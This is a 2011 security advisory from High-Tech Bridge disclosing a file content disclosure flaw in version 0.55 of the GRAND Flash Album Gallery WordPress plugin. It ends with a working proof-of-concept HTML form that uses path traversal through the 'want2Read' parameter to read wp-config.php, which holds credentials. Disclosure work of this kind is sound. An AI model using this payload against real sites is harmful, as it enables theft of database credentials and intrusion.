HTB22871: File Content Disclosure in GRAND Flash Album Gallery wordpress plugin

Vulnerability ID: HTB22871
Reference: http://www.htbridge.ch/advisory/file_content_disclosure_in_grand_flash_album_gallery_wordpress_plugin.html
Product: GRAND Flash Album Gallery wordpress plugin
Vendor: Sergey Pasyuk ( http://codeasily.com/ )
Vulnerable Version: 0.55
Vendor Notification: 22 February 2011
Vulnerability Type: File Content Disclosure
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/flash-album-gallery/admin/news.php" script to properly sanitize user-supplied input in "want2Read" variable.
Successful exploitation of this vulnerability allows remote attacker to obtain content of arbitrary file accessible within the context of vulnerable application.

The following PoC is available:

<form action="http://[host]/wp-content/plugins/flash-album-gallery/admin/news.php" method="post" name="main" >
<input type="hidden" name="want2Read" value="…/…/…/…/wp-config.php" />
<input type="submit" value="submit" name="submit" />
</form>